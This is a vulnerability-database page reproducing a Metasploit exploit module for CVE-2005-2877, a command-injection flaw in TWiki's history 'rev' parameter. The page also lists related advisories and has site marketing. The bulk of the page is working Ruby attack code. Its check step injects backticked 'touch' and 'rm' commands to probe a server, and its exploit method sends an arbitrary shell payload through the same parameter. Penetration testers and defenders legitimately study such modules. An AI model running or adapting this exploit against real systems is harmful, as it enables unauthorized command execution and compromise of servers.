Lucene search
+L

TWiki History Function Arbitrary Command Execution

🗓️ 14 Sep 2005 00:00:00Reported by B4dP4nd4, jduck <[email protected]>, g0tmi1kType 
metasploit
 metasploit
🔗 www.rapid7.com👁 121 Views

TWiki vulnerability in history component allows arbitrary OS command executio

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Twiki rev Parameter Arbitrary Shell Command Execution
15 Sep 200500:00
–nessus
nessus
Tenable Nessus
TWiki 'rev' Parameter Arbitrary Command Execution
15 Sep 200500:00
–nessus
circl
Circl
CVE-2005-2877
3 Jul 201000:00
–circl
checkpoint_advisories
Check Point Advisories
TWiki rev Parameter Shell Command Injection (CVE-2005-2877)
5 Oct 200900:00
–checkpoint_advisories
cve
CVE
CVE-2005-2877
16 Sep 200504:00
–cve
cvelist
Cvelist
CVE-2005-2877
16 Sep 200504:00
–cvelist
exploitdb
Exploit DB
TWiki History TWikiUsers - 'rev' Command Execution (Metasploit)
3 Jul 201000:00
–exploitdb
exploitdb
Exploit DB
TWiki TWikiUsers - Arbitrary Command Execution
14 Sep 200500:00
–exploitdb
exploitdb
Exploit DB
TWiki TWikiUsers - INCLUDE Function Arbitrary Command Execution
28 Sep 200500:00
–exploitdb
nvd
NVD
CVE-2005-2877
16 Sep 200520:03
–nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TWiki History Function Arbitrary Command Execution',
        'Description' => %q{
          This module exploits a vulnerability in the history component of TWiki.
          By passing a 'rev' parameter containing shell metacharacters,
          an attacker can execute arbitrary OS commands.

          Affected versions:
          - 20040902
          - 20040901
          - 20030201
          - 20011201
          - 20001201
        },
        'Author' => [
          'B4dP4nd4', # original discovery
          'jduck',    # metasploit version
          'g0tmi1k'   # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-2877' ],
          [ 'OSVDB', '19403' ],
          [ 'BID', '14834' ],
          [ 'URL', 'https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]
        ],
        'DisclosureDate' => '2005-09-14',
        'Privileged' => true, # web server context
        'Platform' => %w[unix linux],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => '',
          'Space' => 1024
        },
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
        OptString.new('TWIKI_PAGE', [ true, "TWiki page to use for its history", "/view/Main/TWikiUsers" ]),
        OptInt.new('TWIKI_REVISION', [ true, 'This revision number MUST exist', 1 ])
      ]
    )
  end

  def report_twiki_service
    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: 'TWiki',
      parents: {
        name: ssl ? 'https' : 'http',
        host: rhost,
        port: rport,
        proto: 'tcp',
        parents: {
          name: 'tcp',
          host: rhost,
          port: rport,
          proto: 'tcp',
          parents: nil
        }
      }
    )
  end

  def send_request(uri, timeout = 25)
    send_request_cgi({
      'uri' => uri
    }, timeout)
  end

  #
  # NOTE: This is not perfect, since it requires write access to the bin
  # directory. Unfortunately, determining the main directory isn't
  # trivial, or otherwise I would write there (required to be writable
  # per installation steps).
  #
  def check
    test_file = rand_text_alphanumeric(8 + rand(8))
    test_url = normalize_uri(datastore['URI'], test_file)
    rev_url = normalize_uri(datastore['URI'], datastore['TWIKI_PAGE'])
    rev_url << '?rev='
    rev_url << datastore['TWIKI_REVISION'].to_s
    vprint_status("URI: #{rev_url}")

    # first see if it already exists (it really shouldn't)
    res = send_request(test_url)
    if (not res) or (res.code != 404)
      vprint_warning("The test file exists already! (HTTP #{res&.code})")
      return Exploit::CheckCode::Unknown('Could not determine the target status') # Need to try again with a different file
    end

    # try to create it
    vprint_status("Attempting to create: #{test_url}")
    rev = "`touch${IFS}" + test_file + "`"
    res = send_request(rev_url + Rex::Text.uri_encode(rev))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # try to run it
    # 500 code == successfully made it
    vprint_status("Checking if created: #{test_url}")
    res = send_request(test_url)
    if (not res) or (res.code != 500)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 500)") unless res&.code == 500
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # delete the tmp file
    print_status("Attempting to delete: #{test_url}")
    rev = "`rm${IFS}-f${IFS}" + test_file + "`"
    res = send_request(rev_url + Rex::Text.uri_encode(rev))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      print_warning("Unable to remove test file (#{test_file})")
    end

    report_twiki_service
    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    rev_url = normalize_uri(datastore['URI'], datastore['TWIKI_PAGE'])
    rev_url << '?rev='
    rev_url << datastore['TWIKI_REVISION'].to_s
    vprint_status("URI: #{rev_url}")

    rev = '`' + payload.encoded + '`#'
    vprint_status("Executing command: #{payload.encoded}")

    vprint_status("Sending payload")
    # Very short timeout because the request may never return if we're sending a socket payload
    timeout = 0.1
    res = send_request(rev_url + Rex::Text.uri_encode(rev), timeout)
    vprint_status("Payload sent")

    # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
    if res.nil?
      vprint_warning("The request received no response in the allotted time, and is expected, even if the exploit succeeds.")
    elsif res.code != 200
      vprint_error("Error with payload request (HTTP #{res.code}, should be 200)")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2005 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 27.5
EPSS0.70903
121